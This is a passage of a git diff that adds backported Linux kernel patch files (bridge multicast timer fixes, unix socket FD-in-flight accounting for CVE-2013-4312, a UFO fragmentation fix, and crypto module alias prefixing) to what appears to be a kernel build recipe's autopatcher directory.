b/recipes-kernel/linux/linux-bass/autopatcher/0031-9f00b2e7cf24-PATCH bridge only expire the mdb entry when query is received.patch @@ -0,0 +1,159 @@ +From 9f00b2e7cf241fa389733d41b615efdaa2cb0f5b Mon Sep 17 00:00:00 2001 +From: Cong Wang +Date: Tue, 21 May 2013 21:52:55 +0000 +Subject: [PATCH] bridge: only expire the mdb entry when query is received + +Currently we arm the expire timer when the mdb entry is added, +however, this causes problem when there is no querier sent +out after that. + +So we should only arm the timer when a corresponding query is +received, as suggested by Herbert. + +And he also mentioned "if there is no querier then group +subscriptions shouldn't expire. There has to be at least one querier +in the network for this thing to work. Otherwise it just degenerates +into a non-snooping switch, which is OK." + +Cc: Herbert Xu +Cc: Stephen Hemminger +Cc: "David S. Miller" +Cc: Adam Baker +Signed-off-by: Cong Wang +Acked-by: Herbert Xu +Signed-off-by: David S. Miller +--- + net/bridge/br_multicast.c | 39 ++++++++++++--------------------------- + net/bridge/br_private.h | 1 + + 2 files changed, 13 insertions(+), 27 deletions(-) + +diff --git a/net/bridge/br_multicast.c b/net/bridge/br_multicast.c +index 24751479310199..40bda804fbd9f4 100644 +--- a/net/bridge/br_multicast.c ++++ b/net/bridge/br_multicast.c +@@ -617,8 +617,6 @@ struct net_bridge_mdb_entry *br_multicast_new_group(struct net_bridge *br, + + mp->br = br; + mp->addr = *group; +- setup_timer(&mp->timer, br_multicast_group_expired, +- (unsigned long)mp); + + hlist_add_head_rcu(&mp->hlist[mdb->ver], &mdb->mhash[hash]); + mdb->size++; +@@ -656,7 +654,6 @@ static int br_multicast_add_group(struct net_bridge *br, + struct net_bridge_mdb_entry *mp; + struct net_bridge_port_group *p; + struct net_bridge_port_group __rcu **pp; +- unsigned long now = jiffies; + int err; + + spin_lock(&br->multicast_lock); +@@ -671,7 +668,6 @@ static int br_multicast_add_group(struct net_bridge *br, + + if (!port) { + mp->mglist = true; +- mod_timer(&mp->timer, now + br->multicast_membership_interval); + goto out; + } + +@@ -679,7 +675,7 @@ static int br_multicast_add_group(struct net_bridge *br, + (p = mlock_dereference(*pp, br)) != NULL; + pp = &p->next) { + if (p->port == port) +- goto found; ++ goto out; + if ((unsigned long)p->port < (unsigned long)port) + break; + } +@@ -690,8 +686,6 @@ static int br_multicast_add_group(struct net_bridge *br, + rcu_assign_pointer(*pp, p); + br_mdb_notify(br->dev, port, group, RTM_NEWMDB); + +-found: +- mod_timer(&p->timer, now + br->multicast_membership_interval); + out: + err = 0; + +@@ -1131,6 +1125,10 @@ static int br_ip4_multicast_query(struct net_bridge *br, + if (!mp) + goto out; + ++ setup_timer(&mp->timer, br_multicast_group_expired, (unsigned long)mp); ++ mod_timer(&mp->timer, now + br->multicast_membership_interval); ++ mp->timer_armed = true; ++ + max_delay *= br->multicast_last_member_count; + + if (mp->mglist && +@@ -1205,6 +1203,10 @@ static int br_ip6_multicast_query(struct net_bridge *br, + if (!mp) + goto out; + ++ setup_timer(&mp->timer, br_multicast_group_expired, (unsigned long)mp); ++ mod_timer(&mp->timer, now + br->multicast_membership_interval); ++ mp->timer_armed = true; ++ + max_delay *= br->multicast_last_member_count; + if (mp->mglist && + (timer_pending(&mp->timer) ? +@@ -1263,7 +1265,7 @@ static void br_multicast_leave_group(struct net_bridge *br, + call_rcu_bh(&p->rcu, br_multicast_free_pg); + br_mdb_notify(br->dev, port, group, RTM_DELMDB); + +- if (!mp->ports && !mp->mglist && ++ if (!mp->ports && !mp->mglist && mp->timer_armed && + netif_running(br->dev)) + mod_timer(&mp->timer, jiffies); + } +@@ -1275,30 +1277,12 @@ static void br_multicast_leave_group(struct net_bridge *br, + br->multicast_last_member_interval; + + if (!port) { +- if (mp->mglist && ++ if (mp->mglist && mp->timer_armed && + (timer_pending(&mp->timer) ? + time_after(mp->timer.expires, time) : + try_to_del_timer_sync(&mp->timer) >= 0)) { + mod_timer(&mp->timer, time); + } +- +- goto out; +- } +- +- for (p = mlock_dereference(mp->ports, br); +- p != NULL; +- p = mlock_dereference(p->next, br)) { +- if (p->port != port) +- continue; +- +- if (!hlist_unhashed(&p->mglist) && +- (timer_pending(&p->timer) ? +- time_after(p->timer.expires, time) : +- try_to_del_timer_sync(&p->timer) >= 0)) { +- mod_timer(&p->timer, time); +- } +- +- break; + } + + out: +@@ -1674,6 +1658,7 @@ void br_multicast_stop(struct net_bridge *br) + hlist_for_each_entry_safe(mp, n, &mdb->mhash[i], + hlist[ver]) { + del_timer(&mp->timer); ++ mp->timer_armed = false; + call_rcu_bh(&mp->rcu, br_multicast_free_group); + } + } +diff --git a/net/bridge/br_private.h b/net/bridge/br_private.h +index e260710a01d4f9..1b0ac95a5c37df 100644 +--- a/net/bridge/br_private.h ++++ b/net/bridge/br_private.h +@@ -112,6 +112,7 @@ struct net_bridge_mdb_entry + struct timer_list timer; + struct br_ip addr; + bool mglist; ++ bool timer_armed; + }; + + struct net_bridge_mdb_htable diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0032-c7e8e8a8f7a7-bridge fix some kernel warning in multicast timer.patch b/recipes-kernel/linux/linux-bass/autopatcher/0032-c7e8e8a8f7a7-bridge fix some kernel warning in multicast timer.patch new file mode 100644 index 0000000..10c7fdb --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0032-c7e8e8a8f7a7-bridge fix some kernel warning in multicast timer.patch @@ -0,0 +1,77 @@ +From c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1 Mon Sep 17 00:00:00 2001 +From: Cong Wang +Date: Fri, 5 Jul 2013 19:36:17 +0800 +Subject: bridge: fix some kernel warning in multicast timer + +Several people reported the warning: "kernel BUG at kernel/timer.c:729!" +and the stack trace is: + + #7 [ffff880214d25c10] mod_timer+501 at ffffffff8106d905 + #8 [ffff880214d25c50] br_multicast_del_pg.isra.20+261 at ffffffffa0731d25 [bridge] + #9 [ffff880214d25c80] br_multicast_disable_port+88 at ffffffffa0732948 [bridge] + #10 [ffff880214d25cb0] br_stp_disable_port+154 at ffffffffa072bcca [bridge] + #11 [ffff880214d25ce8] br_device_event+520 at ffffffffa072a4e8 [bridge] + #12 [ffff880214d25d18] notifier_call_chain+76 at ffffffff8164aafc + #13 [ffff880214d25d50] raw_notifier_call_chain+22 at ffffffff810858f6 + #14 [ffff880214d25d60] call_netdevice_notifiers+45 at ffffffff81536aad + #15 [ffff880214d25d80] dev_close_many+183 at ffffffff81536d17 + #16 [ffff880214d25dc0] rollback_registered_many+168 at ffffffff81537f68 + #17 [ffff880214d25de8] rollback_registered+49 at ffffffff81538101 + #18 [ffff880214d25e10] unregister_netdevice_queue+72 at ffffffff815390d8 + #19 [ffff880214d25e30] __tun_detach+272 at ffffffffa074c2f0 [tun] + #20 [ffff880214d25e88] tun_chr_close+45 at ffffffffa074c4bd [tun] + #21 [ffff880214d25ea8] __fput+225 at ffffffff8119b1f1 + #22 [ffff880214d25ef0] ____fput+14 at ffffffff8119b3fe + #23 [ffff880214d25f00] task_work_run+159 at ffffffff8107cf7f + #24 [ffff880214d25f30] do_notify_resume+97 at ffffffff810139e1 + #25 [ffff880214d25f50] int_signal+18 at ffffffff8164f292 + +this is due to I forgot to check if mp->timer is armed in +br_multicast_del_pg(). This bug is introduced by +commit 9f00b2e7cf241fa389733d41b6 (bridge: only expire the mdb entry +when query is received). + +Same for __br_mdb_del(). + +Tested-by: poma +Reported-by: LiYonghua <809674045@qq.com> +Reported-by: Robert Hancock +Cc: Herbert Xu +Cc: Stephen Hemminger +Cc: "David S. Miller" +Signed-off-by: Cong Wang +Signed-off-by: David S. Miller +--- + net/bridge/br_mdb.c | 2 +- + net/bridge/br_multicast.c | 2 +- + 2 files changed, 2 insertions(+), 2 deletions(-) + +diff --git a/net/bridge/br_mdb.c b/net/bridge/br_mdb.c +index 19942e38fd2d..0daae3ec2355 100644 +--- a/net/bridge/br_mdb.c ++++ b/net/bridge/br_mdb.c +@@ -447,7 +447,7 @@ static int __br_mdb_del(struct net_bridge *br, struct br_mdb_entry *entry) + call_rcu_bh(&p->rcu, br_multicast_free_pg); + err = 0; + +- if (!mp->ports && !mp->mglist && ++ if (!mp->ports && !mp->mglist && mp->timer_armed && + netif_running(br->dev)) + mod_timer(&mp->timer, jiffies); + break; +diff --git a/net/bridge/br_multicast.c b/net/bridge/br_multicast.c +index 81befac015e1..69af490cce44 100644 +--- a/net/bridge/br_multicast.c ++++ b/net/bridge/br_multicast.c +@@ -270,7 +270,7 @@ static void br_multicast_del_pg(struct net_bridge *br, + del_timer(&p->timer); + call_rcu_bh(&p->rcu, br_multicast_free_pg); + +- if (!mp->ports && !mp->mglist && ++ if (!mp->ports && !mp->mglist && mp->timer_armed && + netif_running(br->dev)) + mod_timer(&mp->timer, jiffies); + +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0033-df87da0783c4-unix properly account for FDs passed over unix sockets.patch b/recipes-kernel/linux/linux-bass/autopatcher/0033-df87da0783c4-unix properly account for FDs passed over unix sockets.patch new file mode 100644 index 0000000..5118b32 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0033-df87da0783c4-unix properly account for FDs passed over unix sockets.patch @@ -0,0 +1,142 @@ +From df87da0783c4492b944badfea9d5c3c56b834697 Mon Sep 17 00:00:00 2001 +From: willy tarreau +Date: Sun, 10 Jan 2016 07:54:56 +0100 +Subject: unix: properly account for FDs passed over unix sockets + +[ Upstream commit 712f4aad406bb1ed67f3f98d04c044191f0ff593 ] + +It is possible for a process to allocate and accumulate far more FDs than +the process' limit by sending them over a unix socket then closing them +to keep the process' fd count low. + +This change addresses this problem by keeping track of the number of FDs +in flight per user and preventing non-privileged processes from having +more FDs in flight than their configured FD limit. + +Reported-by: socketpair@gmail.com +Reported-by: Tetsuo Handa +Mitigates: CVE-2013-4312 (Linux 2.0+) +Suggested-by: Linus Torvalds +Acked-by: Hannes Frederic Sowa +Signed-off-by: Willy Tarreau +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + include/linux/sched.h | 1 + + net/unix/af_unix.c | 24 ++++++++++++++++++++---- + net/unix/garbage.c | 16 ++++++++++++---- + 3 files changed, 33 insertions(+), 8 deletions(-) + +diff --git a/include/linux/sched.h b/include/linux/sched.h +index 7cf305d036db6..4781332f2e115 100644 +--- a/include/linux/sched.h ++++ b/include/linux/sched.h +@@ -670,6 +670,7 @@ struct user_struct { + unsigned long mq_bytes; /* How many bytes can be allocated to mqueue? */ + #endif + unsigned long locked_shm; /* How many pages of mlocked shm ? */ ++ unsigned long unix_inflight; /* How many files in flight in unix sockets */ + + #ifdef CONFIG_KEYS + struct key *uid_keyring; /* UID specific keyring */ +diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c +index 0061d003752ab..a673c1f4f638d 100644 +--- a/net/unix/af_unix.c ++++ b/net/unix/af_unix.c +@@ -1483,6 +1483,21 @@ static void unix_destruct_scm(struct sk_buff *skb) + sock_wfree(skb); + } + ++/* ++ * The "user->unix_inflight" variable is protected by the garbage ++ * collection lock, and we just read it locklessly here. If you go ++ * over the limit, there might be a tiny race in actually noticing ++ * it across threads. Tough. ++ */ ++static inline bool too_many_unix_fds(struct task_struct *p) ++{ ++ struct user_struct *user = current_user(); ++ ++ if (unlikely(user->unix_inflight > task_rlimit(p, RLIMIT_NOFILE))) ++ return !capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN); ++ return false; ++} ++ + #define MAX_RECURSION_LEVEL 4 + + static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) +@@ -1491,6 +1506,9 @@ static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) + unsigned char max_level = 0; + int unix_sock_count = 0; + ++ if (too_many_unix_fds(current)) ++ return -ETOOMANYREFS; ++ + for (i = scm->fp->count - 1; i >= 0; i--) { + struct sock *sk = unix_get_socket(scm->fp->fp[i]); + +@@ -1512,10 +1530,8 @@ static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) + if (!UNIXCB(skb).fp) + return -ENOMEM; + +- if (unix_sock_count) { +- for (i = scm->fp->count - 1; i >= 0; i--) +- unix_inflight(scm->fp->fp[i]); +- } ++ for (i = scm->fp->count - 1; i >= 0; i--) ++ unix_inflight(scm->fp->fp[i]); + return max_level; + } + +diff --git a/net/unix/garbage.c b/net/unix/garbage.c +index 9bc73f87f64a3..06730fe6ad9db 100644 +--- a/net/unix/garbage.c ++++ b/net/unix/garbage.c +@@ -125,9 +125,12 @@ struct sock *unix_get_socket(struct file *filp) + void unix_inflight(struct file *fp) + { + struct sock *s = unix_get_socket(fp); ++ ++ spin_lock(&unix_gc_lock); ++ + if (s) { + struct unix_sock *u = unix_sk(s); +- spin_lock(&unix_gc_lock); ++ + if (atomic_long_inc_return(&u->inflight) == 1) { + BUG_ON(!list_empty(&u->link)); + list_add_tail(&u->link, &gc_inflight_list); +@@ -135,22 +138,27 @@ void unix_inflight(struct file *fp) + BUG_ON(list_empty(&u->link)); + } + unix_tot_inflight++; +- spin_unlock(&unix_gc_lock); + } ++ fp->f_cred->user->unix_inflight++; ++ spin_unlock(&unix_gc_lock); + } + + void unix_notinflight(struct file *fp) + { + struct sock *s = unix_get_socket(fp); ++ ++ spin_lock(&unix_gc_lock); ++ + if (s) { + struct unix_sock *u = unix_sk(s); +- spin_lock(&unix_gc_lock); ++ + BUG_ON(list_empty(&u->link)); + if (atomic_long_dec_and_test(&u->inflight)) + list_del_init(&u->link); + unix_tot_inflight--; +- spin_unlock(&unix_gc_lock); + } ++ fp->f_cred->user->unix_inflight--; ++ spin_unlock(&unix_gc_lock); + } + + static void scan_inflight(struct sock *x, void (*func)(struct unix_sock *), +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0034-e93b7d748be8-ipoutput do skb ufo init for peeked non ufo skb as well.patch b/recipes-kernel/linux/linux-bass/autopatcher/0034-e93b7d748be8-ipoutput do skb ufo init for peeked non ufo skb as well.patch new file mode 100644 index 0000000..5bcdb13 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0034-e93b7d748be8-ipoutput do skb ufo init for peeked non ufo skb as well.patch @@ -0,0 +1,53 @@ +From e93b7d748be887cd7639b113ba7d7ef792a7efb9 Mon Sep 17 00:00:00 2001 +From: Jiri Pirko +Date: Sat, 19 Oct 2013 12:29:17 +0200 +Subject: ip_output: do skb ufo init for peeked non ufo skb as well + +Now, if user application does: +sendto lenmtu flag 0 +The skb is not treated as fragmented one because it is not initialized +that way. So move the initialization to fix this. + +introduced by: +commit e89e9cf539a28df7d0eb1d0a545368e9920b34ac "[IPv4/IPv6]: UFO Scatter-gather approach" + +Signed-off-by: Jiri Pirko +Acked-by: Hannes Frederic Sowa +Signed-off-by: David S. Miller +--- + net/ipv4/ip_output.c | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c +index a04d872c54f9..3982eabf61e1 100644 +--- a/net/ipv4/ip_output.c ++++ b/net/ipv4/ip_output.c +@@ -772,15 +772,20 @@ static inline int ip_ufo_append_data(struct sock *sk, + /* initialize protocol header pointer */ + skb->transport_header = skb->network_header + fragheaderlen; + +- skb->ip_summed = CHECKSUM_PARTIAL; + skb->csum = 0; + +- /* specify the length of each IP datagram fragment */ +- skb_shinfo(skb)->gso_size = maxfraglen - fragheaderlen; +- skb_shinfo(skb)->gso_type = SKB_GSO_UDP; ++ + __skb_queue_tail(queue, skb); ++ } else if (skb_is_gso(skb)) { ++ goto append; + } + ++ skb->ip_summed = CHECKSUM_PARTIAL; ++ /* specify the length of each IP datagram fragment */ ++ skb_shinfo(skb)->gso_size = maxfraglen - fragheaderlen; ++ skb_shinfo(skb)->gso_type = SKB_GSO_UDP; ++ ++append: + return skb_append_datato_frags(sk, skb, getfrag, from, + (length - transhdrlen)); + } +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0035-e635e0d5b0ad-crypto prefix module autoloading with crypto.patch b/recipes-kernel/linux/linux-bass/autopatcher/0035-e635e0d5b0ad-crypto prefix module autoloading with crypto.patch new file mode 100644 index 0000000..11fdc4c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0035-e635e0d5b0ad-crypto prefix module autoloading with crypto.patch @@ -0,0 +1,1115 @@ +From e635e0d5b0adac839b91cc593babcb812cba3f18 Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Thu, 20 Nov 2014 17:05:53 -0800 +Subject: crypto: prefix module autoloading with "crypto-" + +commit 5d26a105b5a73e5635eae0629b42fa0a90e07b7b upstream. + +This prefixes all crypto module loading with "crypto-" so we never run +the risk of exposing module auto-loading to userspace via a crypto API, +as demonstrated by Mathias Krause: + +https://lkml.org/lkml/2013/3/4/70 + +Signed-off-by: Kees Cook +Signed-off-by: Herbert Xu +Signed-off-by: Greg Kroah-Hartman +--- + arch/arm/crypto/aes_glue.c | 4 ++-- + arch/arm/crypto/sha1_glue.c | 2 +- + arch/powerpc/crypto/sha1.c | 2 +- + arch/s390/crypto/aes_s390.c | 2 +- + arch/s390/crypto/des_s390.c | 4 ++-- + arch/s390/crypto/ghash_s390.c | 2 +- + arch/s390/crypto/sha1_s390.c | 2 +- + arch/s390/crypto/sha256_s390.c | 4 ++-- + arch/s390/crypto/sha512_s390.c | 4 ++-- + arch/sparc/crypto/aes_glue.c | 2 +- + arch/sparc/crypto/camellia_glue.c | 2 +- + arch/sparc/crypto/crc32c_glue.c | 2 +- + arch/sparc/crypto/des_glue.c | 2 +- + arch/sparc/crypto/md5_glue.c | 2 +- + arch/sparc/crypto/sha1_glue.c | 2 +- + arch/sparc/crypto/sha256_glue.c | 4 ++-- + arch/sparc/crypto/sha512_glue.c | 4 ++-- + arch/x86/crypto/aes_glue.c | 4 ++-- + arch/x86/crypto/aesni-intel_glue.c | 2 +- + arch/x86/crypto/blowfish_avx2_glue.c | 4 ++-- + arch/x86/crypto/blowfish_glue.c | 4 ++-- + arch/x86/crypto/camellia_aesni_avx2_glue.c | 4 ++-- + arch/x86/crypto/camellia_aesni_avx_glue.c | 4 ++-- + arch/x86/crypto/camellia_glue.c | 4 ++-- + arch/x86/crypto/cast5_avx_glue.c | 2 +- + arch/x86/crypto/cast6_avx_glue.c | 2 +- + arch/x86/crypto/crc32-pclmul_glue.c | 4 ++-- + arch/x86/crypto/crc32c-intel_glue.c | 4 ++-- + arch/x86/crypto/ghash-clmulni-intel_glue.c | 2 +- + arch/x86/crypto/salsa20_glue.c | 4 ++-- + arch/x86/crypto/serpent_avx2_glue.c | 4 ++-- + arch/x86/crypto/serpent_avx_glue.c | 2 +- + arch/x86/crypto/serpent_sse2_glue.c | 2 +- + arch/x86/crypto/sha1_ssse3_glue.c | 2 +- + arch/x86/crypto/sha256_ssse3_glue.c | 2 +- + arch/x86/crypto/sha512_ssse3_glue.c | 2 +- + arch/x86/crypto/twofish_avx2_glue.c | 4 ++-- + arch/x86/crypto/twofish_avx_glue.c | 2 +- + arch/x86/crypto/twofish_glue.c | 4 ++-- + arch/x86/crypto/twofish_glue_3way.c | 4 ++-- + crypto/842.c | 1 + + crypto/aes_generic.c | 2 +- + crypto/ansi_cprng.c | 2 +- + crypto/anubis.c | 1 + + crypto/api.c | 4 ++-- + crypto/arc4.c | 1 + + crypto/blowfish_generic.c | 2 +- + crypto/camellia_generic.c | 2 +- + crypto/cast5_generic.c | 2 +- + crypto/cast6_generic.c | 2 +- + crypto/ccm.c | 4 ++-- + crypto/crc32.c | 1 + + crypto/crypto_null.c | 6 +++--- + crypto/ctr.c | 2 +- + crypto/deflate.c | 2 +- + crypto/des_generic.c | 4 ++-- + crypto/fcrypt.c | 1 + + crypto/gcm.c | 6 +++--- + crypto/ghash-generic.c | 2 +- + crypto/khazad.c | 1 + + crypto/krng.c | 2 +- + crypto/lzo.c | 1 + + crypto/md4.c | 2 +- + crypto/md5.c | 1 + + crypto/michael_mic.c | 1 + + crypto/rmd128.c | 1 + + crypto/rmd160.c | 1 + + crypto/rmd256.c | 1 + + crypto/rmd320.c | 1 + + crypto/salsa20_generic.c | 2 +- + crypto/seed.c | 1 + + crypto/serpent_generic.c | 4 ++-- + crypto/sha1_generic.c | 2 +- + crypto/sha256_generic.c | 4 ++-- + crypto/sha512_generic.c | 4 ++-- + crypto/tea.c | 4 ++-- + crypto/tgr192.c | 4 ++-- + crypto/twofish_generic.c | 2 +- + crypto/wp512.c | 4 ++-- + crypto/zlib.c | 1 + + drivers/crypto/padlock-aes.c | 2 +- + drivers/crypto/padlock-sha.c | 8 ++++---- + drivers/crypto/ux500/cryp/cryp_core.c | 4 ++-- + drivers/crypto/ux500/hash/hash_core.c | 8 ++++---- + drivers/s390/crypto/ap_bus.c | 1 + + include/linux/crypto.h | 13 +++++++++++++ + 86 files changed, 137 insertions(+), 108 deletions(-) + +diff --git a/arch/arm/crypto/aes_glue.c b/arch/arm/crypto/aes_glue.c +index 59f7877ead6ac..e73ec2ab13167 100644 +--- a/arch/arm/crypto/aes_glue.c ++++ b/arch/arm/crypto/aes_glue.c +@@ -103,6 +103,6 @@ module_exit(aes_fini); + + MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm (ASM)"); + MODULE_LICENSE("GPL"); +-MODULE_ALIAS("aes"); +-MODULE_ALIAS("aes-asm"); ++MODULE_ALIAS_CRYPTO("aes"); ++MODULE_ALIAS_CRYPTO("aes-asm"); + MODULE_AUTHOR("David McCullough "); +diff --git a/arch/arm/crypto/sha1_glue.c b/arch/arm/crypto/sha1_glue.c +index 76cd976230bc4..ace4cd67464cf 100644 +--- a/arch/arm/crypto/sha1_glue.c ++++ b/arch/arm/crypto/sha1_glue.c +@@ -175,5 +175,5 @@ module_exit(sha1_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm (ARM)"); +-MODULE_ALIAS("sha1"); ++MODULE_ALIAS_CRYPTO("sha1"); + MODULE_AUTHOR("David McCullough "); +diff --git a/arch/powerpc/crypto/sha1.c b/arch/powerpc/crypto/sha1.c +index f9e8b9491efc2..0f88c7b411196 100644 +--- a/arch/powerpc/crypto/sha1.c ++++ b/arch/powerpc/crypto/sha1.c +@@ -154,4 +154,4 @@ module_exit(sha1_powerpc_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm"); + +-MODULE_ALIAS("sha1-powerpc"); ++MODULE_ALIAS_CRYPTO("sha1-powerpc"); +diff --git a/arch/s390/crypto/aes_s390.c b/arch/s390/crypto/aes_s390.c +index fd104db9cea1b..92eb4d6ad39dc 100644 +--- a/arch/s390/crypto/aes_s390.c ++++ b/arch/s390/crypto/aes_s390.c +@@ -970,7 +970,7 @@ static void __exit aes_s390_fini(void) + module_init(aes_s390_init); + module_exit(aes_s390_fini); + +-MODULE_ALIAS("aes-all"); ++MODULE_ALIAS_CRYPTO("aes-all"); + + MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm"); + MODULE_LICENSE("GPL"); +diff --git a/arch/s390/crypto/des_s390.c b/arch/s390/crypto/des_s390.c +index f2d6cccddcf89..a89feffb22b52 100644 +--- a/arch/s390/crypto/des_s390.c ++++ b/arch/s390/crypto/des_s390.c +@@ -619,8 +619,8 @@ static void __exit des_s390_exit(void) + module_init(des_s390_init); + module_exit(des_s390_exit); + +-MODULE_ALIAS("des"); +-MODULE_ALIAS("des3_ede"); ++MODULE_ALIAS_CRYPTO("des"); ++MODULE_ALIAS_CRYPTO("des3_ede"); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("DES & Triple DES EDE Cipher Algorithms"); +diff --git a/arch/s390/crypto/ghash_s390.c b/arch/s390/crypto/ghash_s390.c +index d43485d142e91..7940dc90e80bc 100644 +--- a/arch/s390/crypto/ghash_s390.c ++++ b/arch/s390/crypto/ghash_s390.c +@@ -160,7 +160,7 @@ static void __exit ghash_mod_exit(void) + module_init(ghash_mod_init); + module_exit(ghash_mod_exit); + +-MODULE_ALIAS("ghash"); ++MODULE_ALIAS_CRYPTO("ghash"); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("GHASH Message Digest Algorithm, s390 implementation"); +diff --git a/arch/s390/crypto/sha1_s390.c b/arch/s390/crypto/sha1_s390.c +index a1b3a9dc9d8a0..5b2bee323694b 100644 +--- a/arch/s390/crypto/sha1_s390.c ++++ b/arch/s390/crypto/sha1_s390.c +@@ -103,6 +103,6 @@ static void __exit sha1_s390_fini(void) + module_init(sha1_s390_init); + module_exit(sha1_s390_fini); + +-MODULE_ALIAS("sha1"); ++MODULE_ALIAS_CRYPTO("sha1"); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm"); +diff --git a/arch/s390/crypto/sha256_s390.c b/arch/s390/crypto/sha256_s390.c +index 9b853809a492b..b74ff158108c9 100644 +--- a/arch/s390/crypto/sha256_s390.c ++++ b/arch/s390/crypto/sha256_s390.c +@@ -143,7 +143,7 @@ static void __exit sha256_s390_fini(void) + module_init(sha256_s390_init); + module_exit(sha256_s390_fini); + +-MODULE_ALIAS("sha256"); +-MODULE_ALIAS("sha224"); ++MODULE_ALIAS_CRYPTO("sha256"); ++MODULE_ALIAS_CRYPTO("sha224"); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA256 and SHA224 Secure Hash Algorithm"); +diff --git a/arch/s390/crypto/sha512_s390.c b/arch/s390/crypto/sha512_s390.c +index 32a81383b69c1..0c36989ba182b 100644 +--- a/arch/s390/crypto/sha512_s390.c ++++ b/arch/s390/crypto/sha512_s390.c +@@ -86,7 +86,7 @@ static struct shash_alg sha512_alg = { + } + }; + +-MODULE_ALIAS("sha512"); ++MODULE_ALIAS_CRYPTO("sha512"); + + static int sha384_init(struct shash_desc *desc) + { +@@ -126,7 +126,7 @@ static struct shash_alg sha384_alg = { + } + }; + +-MODULE_ALIAS("sha384"); ++MODULE_ALIAS_CRYPTO("sha384"); + + static int __init init(void) + { +diff --git a/arch/sparc/crypto/aes_glue.c b/arch/sparc/crypto/aes_glue.c +index 503e6d96ad4e4..ded4cee35318f 100644 +--- a/arch/sparc/crypto/aes_glue.c ++++ b/arch/sparc/crypto/aes_glue.c +@@ -499,6 +499,6 @@ module_exit(aes_sparc64_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("AES Secure Hash Algorithm, sparc64 aes opcode accelerated"); + +-MODULE_ALIAS("aes"); ++MODULE_ALIAS_CRYPTO("aes"); + + #include "crop_devid.c" +diff --git a/arch/sparc/crypto/camellia_glue.c b/arch/sparc/crypto/camellia_glue.c +index 888f6260b4ec5..641f55cb61c3a 100644 +--- a/arch/sparc/crypto/camellia_glue.c ++++ b/arch/sparc/crypto/camellia_glue.c +@@ -322,6 +322,6 @@ module_exit(camellia_sparc64_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Camellia Cipher Algorithm, sparc64 camellia opcode accelerated"); + +-MODULE_ALIAS("aes"); ++MODULE_ALIAS_CRYPTO("aes"); + + #include "crop_devid.c" +diff --git a/arch/sparc/crypto/crc32c_glue.c b/arch/sparc/crypto/crc32c_glue.c +index 5162fad912ce0..d1064e46efe8b 100644 +--- a/arch/sparc/crypto/crc32c_glue.c ++++ b/arch/sparc/crypto/crc32c_glue.c +@@ -176,6 +176,6 @@ module_exit(crc32c_sparc64_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("CRC32c (Castagnoli), sparc64 crc32c opcode accelerated"); + +-MODULE_ALIAS("crc32c"); ++MODULE_ALIAS_CRYPTO("crc32c"); + + #include "crop_devid.c" +diff --git a/arch/sparc/crypto/des_glue.c b/arch/sparc/crypto/des_glue.c +index 3065bc61f9d3b..d115009729947 100644 +--- a/arch/sparc/crypto/des_glue.c ++++ b/arch/sparc/crypto/des_glue.c +@@ -532,6 +532,6 @@ module_exit(des_sparc64_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("DES & Triple DES EDE Cipher Algorithms, sparc64 des opcode accelerated"); + +-MODULE_ALIAS("des"); ++MODULE_ALIAS_CRYPTO("des"); + + #include "crop_devid.c" +diff --git a/arch/sparc/crypto/md5_glue.c b/arch/sparc/crypto/md5_glue.c +index 09a9ea1dfb697..64c7ff5f72a9f 100644 +--- a/arch/sparc/crypto/md5_glue.c ++++ b/arch/sparc/crypto/md5_glue.c +@@ -185,6 +185,6 @@ module_exit(md5_sparc64_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("MD5 Secure Hash Algorithm, sparc64 md5 opcode accelerated"); + +-MODULE_ALIAS("md5"); ++MODULE_ALIAS_CRYPTO("md5"); + + #include "crop_devid.c" +diff --git a/arch/sparc/crypto/sha1_glue.c b/arch/sparc/crypto/sha1_glue.c +index 6cd5f29e1e0d5..1b3e47accc746 100644 +--- a/arch/sparc/crypto/sha1_glue.c ++++ b/arch/sparc/crypto/sha1_glue.c +@@ -180,6 +180,6 @@ module_exit(sha1_sparc64_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm, sparc64 sha1 opcode accelerated"); + +-MODULE_ALIAS("sha1"); ++MODULE_ALIAS_CRYPTO("sha1"); + + #include "crop_devid.c" +diff --git a/arch/sparc/crypto/sha256_glue.c b/arch/sparc/crypto/sha256_glue.c +index 04f555ab26800..41f27cca2a225 100644 +--- a/arch/sparc/crypto/sha256_glue.c ++++ b/arch/sparc/crypto/sha256_glue.c +@@ -237,7 +237,7 @@ module_exit(sha256_sparc64_mod_fini); + MODULE_LICENSE("GPL"); + 